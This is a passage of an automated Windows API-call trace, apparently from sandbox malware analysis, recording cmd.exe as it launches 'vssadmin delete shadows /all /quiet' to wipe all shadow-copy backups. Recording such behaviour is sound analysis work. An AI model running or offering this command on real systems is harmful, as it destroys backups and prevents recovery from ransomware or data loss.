lpFilePart=0xa12bbced60*="system32") returned 0x13 [0188.998] SetErrorMode (uMode=0x0) returned 0x1 [0188.998] GetProcessHeap () returned 0x265f3880000 [0188.998] RtlReAllocateHeap (Heap=0x265f3880000, Flags=0x0, Ptr=0x265f389c1e0, Size=0x4a) returned 0x265f389c1e0 [0188.998] GetProcessHeap () returned 0x265f3880000 [0188.998] RtlSizeHeap (HeapHandle=0x265f3880000, Flags=0x0, MemoryPointer=0x265f389c1e0) returned 0x4a [0188.998] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65ec4bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0188.998] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0188.999] GetProcessHeap () returned 0x265f3880000 [0188.999] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x1b6) returned 0x265f3898e80 [0188.999] GetProcessHeap () returned 0x265f3880000 [0188.999] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x35c) returned 0x265f3899b70 [0188.999] GetProcessHeap () returned 0x265f3880000 [0188.999] RtlReAllocateHeap (Heap=0x265f3880000, Flags=0x0, Ptr=0x265f3899b70, Size=0x1b8) returned 0x265f3899b70 [0188.999] GetProcessHeap () returned 0x265f3880000 [0188.999] RtlSizeHeap (HeapHandle=0x265f3880000, Flags=0x0, MemoryPointer=0x265f3899b70) returned 0x1b8 [0188.999] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65ec4bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0188.999] GetProcessHeap () returned 0x265f3880000 [0188.999] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xe8) returned 0x265f3899040 [0188.999] GetProcessHeap () returned 0x265f3880000 [0188.999] RtlReAllocateHeap (Heap=0x265f3880000, Flags=0x0, Ptr=0x265f3899040, Size=0x7e) returned 0x265f3899040 [0188.999] GetProcessHeap () returned 0x265f3880000 [0188.999] RtlSizeHeap (HeapHandle=0x265f3880000, Flags=0x0, MemoryPointer=0x265f3899040) returned 0x7e [0188.999] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0189.101] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xa12bbcead0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa12bbcead0) returned 0x265f38990d0 [0189.101] FindClose (in: hFindFile=0x265f38990d0 | out: hFindFile=0x265f38990d0) returned 1 [0189.102] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xa12bbcead0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa12bbcead0) returned 0xffffffffffffffff [0189.102] GetLastError () returned 0x2 [0189.102] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xa12bbcead0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xa12bbcead0) returned 0x265f38990d0 [0189.102] FindClose (in: hFindFile=0x265f38990d0 | out: hFindFile=0x265f38990d0) returned 1 [0189.102] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0189.102] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0189.102] ??_V@YAXPEAX@Z () returned 0x1 [0189.102] GetConsoleTitleW (in: lpConsoleTitle=0xa12bbcf050, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0189.281] GetProcessHeap () returned 0x265f3880000 [0189.281] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x21c) returned 0x265f38877c0 [0189.281] GetConsoleTitleW (in: lpConsoleTitle=0x265f38877d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0189.428] GetProcessHeap () returned 0x265f3880000 [0189.428] RtlReAllocateHeap (Heap=0x265f3880000, Flags=0x0, Ptr=0x265f38877c0, Size=0xa4) returned 0x265f38877c0 [0189.428] GetProcessHeap () returned 0x265f3880000 [0189.428] RtlSizeHeap (HeapHandle=0x265f3880000, Flags=0x0, MemoryPointer=0x265f38877c0) returned 0xa4 [0189.428] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0190.587] GetProcessHeap () returned 0x265f3880000 [0190.587] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f38877c0) returned 1 [0190.587] InitializeProcThreadAttributeList (in: lpAttributeList=0xa12bbcef70, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xa12bbcee60 | out: lpAttributeList=0xa12bbcef70, lpSize=0xa12bbcee60) returned 1 [0190.587] UpdateProcThreadAttribute (in: lpAttributeList=0xa12bbcef70, dwFlags=0x0, Attribute=0x60001, lpValue=0xa12bbcee4c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xa12bbcef70, lpPreviousValue=0x0) returned 1 [0190.588] GetStartupInfoW (in: lpStartupInfo=0xa12bbcef00 | out: lpStartupInfo=0xa12bbcef00*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0190.588] GetProcessHeap () returned 0x265f3880000 [0190.588] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x20) returned 0x265f3887610 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0190.588] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0190.589] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0190.589] GetProcessHeap () returned 0x265f3880000 [0190.589] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3887610) returned 1 [0190.589] GetProcessHeap () returned 0x265f3880000 [0190.589] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x12) returned 0x265f3887610 [0190.589] _get_osfhandle (_FileHandle=1) returned 0x254 [0190.589] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0190.589] _get_osfhandle (_FileHandle=0) returned 0x248 [0190.589] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0190.589] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xa12bbcee90*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xa12bbcee68 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0xa12bbcee68*(hProcess=0x94, hThread=0x98, dwProcessId=0xf0c, dwThreadId=0xf10)) returned 1 [0191.258] CloseHandle (hObject=0x98) returned 1 [0191.258] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0191.258] GetProcessHeap () returned 0x265f3880000 [0191.258] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f389b6b0) returned 1 [0191.258] GetEnvironmentStringsW () returned 0x265f389ab80* [0191.258] GetProcessHeap () returned 0x265f3880000 [0191.258] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xb24) returned 0x265f389b6b0 [0191.258] FreeEnvironmentStringsA (penv="=") returned 1 [0191.258] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xa12bbce368, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xa12bbce368, ReturnLength=0x0) returned 0x0 [0191.258] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0x4e25ad1000, lpBuffer=0xa12bbce3a0, nSize=0x7a0, lpNumberOfBytesRead=0xa12bbce360 | out: lpBuffer=0xa12bbce3a0*, lpNumberOfBytesRead=0xa12bbce360*=0x7a0) returned 1 [0191.258] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0200.678] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0xa12bbcede8 | out: lpExitCode=0xa12bbcede8*=0x2) returned 1 [0200.678] CloseHandle (hObject=0x94) returned 1 [0200.679] _vsnwprintf (in: _Buffer=0xa12bbcefb8, _BufferCount=0x13, _Format="%08X", _ArgList=0xa12bbcedf8 | out: _Buffer="00000002") returned 8 [0200.679] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0200.679] GetProcessHeap () returned 0x265f3880000 [0200.679] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f389b6b0) returned 1 [0200.679] GetEnvironmentStringsW () returned 0x265f389ab80* [0200.679] GetProcessHeap () returned 0x265f3880000 [0200.679] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xb24) returned 0x265f389b6b0 [0200.680] FreeEnvironmentStringsA (penv="=") returned 1 [0200.680] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0200.680] GetProcessHeap () returned 0x265f3880000 [0200.680] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f389b6b0) returned 1 [0200.680] GetEnvironmentStringsW () returned 0x265f389ab80* [0200.680] GetProcessHeap () returned 0x265f3880000 [0200.680] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xb24) returned 0x265f389b6b0 [0200.680] FreeEnvironmentStringsA (penv="=") returned 1 [0200.680] GetProcessHeap () returned 0x265f3880000 [0200.680] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3887610) returned 1 [0200.680] DeleteProcThreadAttributeList (in: lpAttributeList=0xa12bbcef70 | out: lpAttributeList=0xa12bbcef70) [0200.680] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0200.724] ??_V@YAXPEAX@Z () returned 0x1 [0200.724] _get_osfhandle (_FileHandle=1) returned 0x254 [0200.724] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0200.724] _get_osfhandle (_FileHandle=1) returned 0x254 [0200.724] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff65ec4fc08 | out: lpMode=0x7ff65ec4fc08) returned 0 [0200.724] _get_osfhandle (_FileHandle=0) returned 0x248 [0200.724] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff65ec4fc0c | out: lpMode=0x7ff65ec4fc0c) returned 0 [0200.724] GetConsoleOutputCP () returned 0x4e3 [0200.777] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff65ec4fbb0 | out: lpCPInfo=0x7ff65ec4fbb0) returned 1 [0200.777] SetThreadUILanguage (LangId=0x0) returned 0x409 [0201.055] GetProcessHeap () returned 0x265f3880000 [0201.055] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3899040) returned 1 [0201.055] GetProcessHeap () returned 0x265f3880000 [0201.055] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3899b70) returned 1 [0201.055] GetProcessHeap () returned 0x265f3880000 [0201.055] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3898e80) returned 1 [0201.055] GetProcessHeap () returned 0x265f3880000 [0201.055] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f389c1e0) returned 1 [0201.055] GetProcessHeap () returned 0x265f3880000 [0201.055] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f38992b0) returned 1 [0201.055] GetProcessHeap () returned 0x265f3880000 [0201.055] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3888e90) returned 1 [0201.055] GetProcessHeap () returned 0x265f3880000 [0201.055] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3899260) returned 1 [0201.055] GetProcessHeap () returned 0x265f3880000 [0201.055] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3886330) returned 1 [0201.056] GetProcessHeap () returned 0x265f3880000 [0201.056] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f38991a0) returned 1 [0201.056] _vsnwprintf (in: _Buffer=0x7ff65ec57f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa12bbcf398 | out: _Buffer="\r\n") returned 2 [0201.056] _get_osfhandle (_FileHandle=1) returned 0x254 [0201.056] GetFileType (hFile=0x254) returned 0x3 [0201.056] _get_osfhandle (_FileHandle=1) returned 0x254 [0201.056] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0201.056] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa12bbcf368, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf368*=0x2, lpOverlapped=0x0) returned 1 [0201.056] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65ec4bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0201.056] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x265f3a50080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0201.056] _vsnwprintf (in: _Buffer=0x265f3a60060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xa12bbcf3a8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0201.056] _vsnwprintf (in: _Buffer=0x265f3a60086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xa12bbcf3a8 | out: _Buffer=">") returned 1 [0201.056] _get_osfhandle (_FileHandle=1) returned 0x254 [0201.056] GetFileType (hFile=0x254) returned 0x3 [0201.056] _get_osfhandle (_FileHandle=1) returned 0x254 [0201.056] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0201.056] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xa12bbcf398, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf398*=0x14, lpOverlapped=0x0) returned 1 [0201.056] _get_osfhandle (_FileHandle=0) returned 0x248 [0201.057] GetFileType (hFile=0x248) returned 0x3 [0201.057] _get_osfhandle (_FileHandle=0) returned 0x248 [0201.057] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.057] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0201.057] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0201.057] _get_osfhandle (_FileHandle=0) returned 0x248 [0201.057] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.057] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0201.057] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0201.057] _get_osfhandle (_FileHandle=0) returned 0x248 [0201.057] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.057] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0201.057] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0201.057] _get_osfhandle (_FileHandle=0) returned 0x248 [0201.057] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.057] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0201.057] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0201.057] _get_osfhandle (_FileHandle=0) returned 0x248 [0201.057] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.057] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0201.057] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0201.058] _get_osfhandle (_FileHandle=0) returned 0x248 [0201.058] GetFileType (hFile=0x248) returned 0x3 [0201.058] _get_osfhandle (_FileHandle=0) returned 0x248 [0201.058] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0201.058] _get_osfhandle (_FileHandle=1) returned 0x254 [0201.058] GetFileType (hFile=0x254) returned 0x3 [0201.058] _get_osfhandle (_FileHandle=1) returned 0x254 [0201.058] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0201.058] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xa12bbcf698, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf698*=0x5, lpOverlapped=0x0) returned 1 [0201.058] GetProcessHeap () returned 0x265f3880000 [0201.058] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x4012) returned 0x265f3888e90 [0201.058] GetProcessHeap () returned 0x265f3880000 [0201.058] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3888e90) returned 1 [0201.059] _wcsicmp (_String1="Exit", _String2=")") returned 60 [0201.059] _wcsicmp (_String1="FOR", _String2="Exit") returned 1 [0201.059] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1 [0201.059] _wcsicmp (_String1="IF", _String2="Exit") returned 4 [0201.059] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4 [0201.059] _wcsicmp (_String1="REM", _String2="Exit") returned 13 [0201.059] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13 [0201.059] GetProcessHeap () returned 0x265f3880000 [0201.059] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xb0) returned 0x265f3880730 [0201.059] GetProcessHeap () returned 0x265f3880000 [0201.059] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x1a) returned 0x265f3886330 [0201.060] GetConsoleOutputCP () returned 0x4e3 [0201.440] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff65ec4fbb0 | out: lpCPInfo=0x7ff65ec4fbb0) returned 1 [0201.440] SetThreadUILanguage (LangId=0x0) returned 0x409 [0201.649] GetConsoleTitleW (in: lpConsoleTitle=0xa12bbcf4e0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0201.750] malloc (_Size=0xffce) returned 0x265f3a70840 [0201.750] ??_V@YAXPEAX@Z () returned 0x265f3a70840 [0201.751] malloc (_Size=0xffce) returned 0x265f3a80820 [0201.751] ??_V@YAXPEAX@Z () returned 0x265f3a80820 [0201.751] _wcsicmp (_String1="Exit", _String2="DIR") returned 1 [0201.751] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6 [0201.751] _wcsicmp (_String1="Exit", _String2="DEL") returned 1 [0201.751] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15 [0201.751] _wcsicmp (_String1="Exit", _String2="COPY") returned 2 [0201.751] _wcsicmp (_String1="Exit", _String2="CD") returned 2 [0201.751] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2 [0201.751] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13 [0201.751] _wcsicmp (_String1="Exit", _String2="REN") returned -13 [0201.751] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21 [0201.751] _wcsicmp (_String1="Exit", _String2="SET") returned -14 [0201.751] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11 [0201.751] _wcsicmp (_String1="Exit", _String2="DATE") returned 1 [0201.751] _wcsicmp (_String1="Exit", _String2="TIME") returned -15 [0201.752] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11 [0201.752] _wcsicmp (_String1="Exit", _String2="MD") returned -8 [0201.752] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8 [0201.752] _wcsicmp (_String1="Exit", _String2="RD") returned -13 [0201.752] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13 [0201.752] _wcsicmp (_String1="Exit", _String2="PATH") returned -11 [0201.752] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2 [0201.752] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14 [0201.752] _wcsicmp (_String1="Exit", _String2="CLS") returned 2 [0201.752] _wcsicmp (_String1="Exit", _String2="CALL") returned 2 [0201.752] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17 [0201.752] _wcsicmp (_String1="Exit", _String2="VER") returned -17 [0201.752] _wcsicmp (_String1="Exit", _String2="VOL") returned -17 [0201.752] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0 [0201.752] ??_V@YAXPEAX@Z () returned 0x1 [0201.752] GetProcessHeap () returned 0x265f3880000 